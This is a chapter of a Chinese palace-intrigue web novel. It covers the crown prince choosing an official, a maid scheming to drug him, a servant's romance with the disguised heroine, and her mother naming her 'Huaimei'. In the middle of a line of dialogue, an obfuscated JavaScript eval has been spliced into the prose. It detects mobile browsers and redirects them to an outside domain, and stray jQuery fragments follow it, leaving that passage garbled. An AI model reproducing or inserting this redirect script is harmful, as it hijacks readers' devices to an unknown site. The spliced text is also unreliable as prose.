东宫
太子微怒:“宝树,把她带下去,让她学学字,十日之后,孤要看到她亲手抄的《烈女传》。”
宝树得了令,立即拉着红鸾的衣袖,把她拽出去了。
元青争一时站也不好,坐也不好,恨不得原地消失,觉得真是倒霉透了:“呃,殿下不必气恼,臣嘴巴严得很,半个字都不会说出去的。”
“元卿嘴巴确实严得很,说起来,你已经很久没惹孤生气了,孤也很久没抓你的小辫子了。”
“……那些前尘往事,臣早已忘却。”元青争赶紧赔笑,怕太子因为他光明正大的,听了些不该听的东西而发作,“如今臣只希望,以门楣为志,以家国为向,在殿下这里穿上一双合脚的鞋,走上更长远的路。”
太子很欣赏她的这股机灵劲儿,因为总能恰到好处的哄到他。
遂叹道:“元卿现在可是孤座下最得力的人了,只要你识时务,忠心为孤,孤不会给你小鞋穿的。”
元青争继续赔笑,好歹有些自知之明,她怎么会是最得力的人呢:“多谢殿下。”
太子把话题拉回正事:“好了,那你就说说这几个人里,你都了解谁,谁又能堪当这侍郎之下第一人的大任呢?”
“……臣以为,郑乌善此人可用。”她思量半晌,在纸上的那堆名字里,择出一个。
“哦?郑副相家的庶子?”太子犹疑,确实没想到元青争会选他,“此人在户部度支司干了的确不少年了,可到现在也才是个八品官,对账目之事有些见解不错,但他爹可是郑润啊?”
“殿下,为您择名单之人,必然心细如发,您不如将这位郑乌善,叫进东宫来问一问?”
“呵……这郑乌善不受家里的宠爱?可一家人打断了骨头也连着筋,用此人,未免风险过高。”太子垂眸沉思。
元青争端起官礼:“殿下,风险越高,回报越高。”
抛开其他不讲,郑乌善相貌平平,才情平平,唯有账目之事,颇具天赋,度支司有相当一部分的账,都是从他手里出来的,条理名目一清二楚,能力,确实是有。
她认为,用此人虽是风险高,可依着太子的手段,未必拿不住。
太子看着面前乖顺端礼的人,想的却不是他对自己能用好郑乌善的信任之心,而是认为,他在挑衅自己,想看自己出丑,想看自己拿不住这个郑乌善。
玉笔枕上的玄色狼毫毛笔尚未干,太子提起,运腕将郑乌善的名字圈了起来:“哼……你下去吧,孤考虑考虑。”
另一边红鸾被宝树带离了书房,自己气鼓鼓的回了她住的屋子,换下小内监的衣裳,着了一身翠绿衣裙学写字。
片刻后,一直教她写字的宫女过来了。
红鸾没什么城府,自从进到东宫来,她见得最多的人就是面前这位了:“彩绡,我现在该怎么办?我听了你的话,穿上太监的衣服,去给殿下送茶,可他直接把我赶出来了。”
彩绡何许人也,乃是给太子侍妾们打扫卧房的存在,平日里太子要哪个伺候,她就得赶紧去传话。
虽谈不上是侍候那些侍妾丫头的人,但平日里这些被收了身的,是要比其他宫女要趾高气昂一些。
更何况彩绡是打扫她们卧房的人,自然受到的使唤也是最多的。
她不想再这样下去。
明明都是奴婢,与其伺候所有人,不如伺候一个人!
她押宝了这个新来的红鸾:“怎么会……按说此法成功率极高,你之前说殿下与你夜夜笙歌,到底是真话假话?”
红鸾争辩道:“自然是真的,殿下就连马车上都与我快活过,就是回到了东宫,他才极少碰我的。”
彩绡沉思,抬眼又瞧了瞧红鸾的这张脸,觉得既已经压了宝,那就别再回头:“那就只能证明殿下是沉迷政事,而忽略了你,不如……我们直接来一剂猛药。”
“如何行事?”红鸾忙问道,眼神尽是希冀,整个身子都往前倾了些许。
彩绡趴在她耳边,叽叽咕咕了两句。
红鸾瞬时瞪大了眼睛:“啊?!真的用药啊?!我还以为是什么好计呢……”
“你愿不愿意用,那就是你的事了,反正我这计策是出了。”彩绡以退为进,“你若是用,我就去帮你找药,你若是不用,那我们就只能在这里抄《烈女传》了。”
红鸾心下害怕。
那可是太子啊,就算她再不懂规矩,也知道给太子下药不是什么能干的事儿,只好坐回去,心不在焉的提起笔,歪歪扭扭写了几个字,眉头紧锁。
可将要再起一列时,她迟迟没有下笔,彩绡也没出声。
良久,她把毛笔一扔,墨汁溅了满纸:“我用!你帮我找药。”
午门
等到元青争从东宫出来,已经都要是午膳的时辰了:“快,回府回府,公子要饿死了。”
落籽将马凳搬下来:“公子莫急,车厢里都是公子爱吃的点心,茶也备好了,先垫一垫。”
她高兴的很,扶着落籽的手臂上车:“好落籽,你竟是准备的这样齐全,多谢你了!”
待钻进车厢里后,她先是灌了一大口茶,骂骂咧咧:“真是的,这太子难道不知,大家都不吃早膳上朝吗?把我留到这个时辰,我要被饿昏了可怎么办?真是不知所谓。”
落籽迟了这么久才见到元青争,心中酸涩。
他等候时,在马车旁站得笔挺,眼神就没离开过午门。
日头越走越烈,不知道的,是他在等他家公子,知道的,就会说他是块“望妻石”了。
他钻进车厢,半跪在地,为元青争斟第二杯茶。
看元青争将一整块糕点都塞进嘴里,忙把茶水递过去,哑声道:“公子慢些,来配着些茶水。”
元青争确实觉得有些噎,牛饮一口茶,囫囵将整块糕点咽下去后才顺过气,回味却发现:“这不是我常喝的那个毛峰?”
她的唇面铺了一层水光,润润的,说话间唇瓣一张一合,露出一些莹白牙齿的边缘。
红白相间,引人垂涎。
落籽着迷地,将整个身体往她的方向压了一步:“今日泡的大红袍,公子,让我亲一口吧。”
怎么开荤了后,他一点不知羞呢?!
元青争顿时慌乱,按住他的肩膀:“不行,这是在午门,还算宫里,你快快驾车去!”
见事不成,落籽满眼落寞,眼珠描了半晌爱人的脸、爱人的唇,才俯首在爱人的膝上:“好,都听公子的。”
午膳时分,元青争是在风月居吃的。
杨如晦半道放筷于著枕:“冠礼日子,我已请人算好定下了,在八月二十,为你加冠的大宾,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776056|174727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
请的是周慕的父亲,你留好时间。”
元青争把口中的食物咽下后:“啊?子衡的父亲要来?他知道吗?”
杨如晦招手,旁侧走上前一位侍女,侍女递出来一张花笺:“他知道,你且看看,为娘给你取得表字,还喜欢吗?”
唉……当娘好累哦……
元青争这才搁下筷子,兴致勃勃:“母亲,官员子弟大部分从小就取了表字,你为何非得等我冠礼,才给我取表字啊?哎?对了,我这青争的名字又是怎么来的呀?”
“你那时候在我肚子里太闹腾了,我希望你安静一些,就把静字拆开给你做了名。”杨如晦道,“至于表字,则是希望你能多过一些无忧无虑的日子,多当几年小孩子,拖着不愿取。”
“……”
元青争接过花笺,展开后,表情略有吃惊。
上书二字:“怀媚”。
杨如晦没管她,认真道:“可时至今日,为娘发现你有自己的头脑,有自己的手腕。你,天生就适合朝堂之争。”
元青争想发笑,但憋住了。
她从不在她娘亲面前臭屁,哪怕杨如晦从不吝啬对她的夸赞:“母亲,这表字有些女气了,真的合适吗?不知出处?”
“陆机曾书,石韫玉而山辉,水怀珠而川媚。”①
杨如晦浑身都散发着母性的光辉,轻轻笑道,“释义,山中石间蕴藏着美玉,因此山更显得光辉映人,河水里含藏着珍珠,所以河流更显得秀美。这话意头很好,于是为娘择了怀媚二字。”
元青争听罢,立即为表字挣扎:“此句意为内在与外在相协,内秀合于外放,物象情思一致,放到人身上,确是顶好的意思,既出自此处,不若从前半句里选?”
杨如晦掂齐筷子,夹了只虾仁:“你的命格适合用水,并不适合用山这一类的字。”
“那不如用怀川?单听起来还显胸襟伟大。”
“川字单拎出来,不还是山吗?你不适合用这类的字。”杨如晦不看她了,大概是觉得有些烦,这表字可是她辛辛苦苦挑出来的,自觉很好。
元青争捏着花笺,心想,怀珠的话,不太好听啊……
半晌。
她灵光一闪:“娇妻美玉在怀?”
杨如晦咀嚼的动作停了。
“哈哈,不错不错,怀媚就怀媚吧!这表字好!”元青争喜上眉梢,将花笺收进袖中。
“呃……”杨如晦想说什么,但终归没出口,埋头吃饭了。
下午,郑乌善此人果然被叫进了东宫,过了整整一个时辰才出来,也不知太子将他收为己用没有。
这几日元青争和盛舒宇因着刚立了功,所以在刑部很吃得开。
众位同僚听闻元青争八月二十要行冠礼后,纷纷道贺,还表示一定到,她通通应下。
刑部最近没有什么大事,所以伍部侯把二人派去刑部大牢观摩。
大牢紧挨着诏狱,诏狱直受皇帝管制,但狱卒以及管事之人,与在大牢当值的,是同一批。
诏狱装那些身份贵重的犯人,刑部大牢装那些穷凶极恶的犯人。
本朝是有酷刑的,但“不至万恶不可用”,所以也就只流传在众人口中,多少年也不见得,能有一个是遭受酷刑而死的。
但有些传言听着,就够元青争头皮发麻了。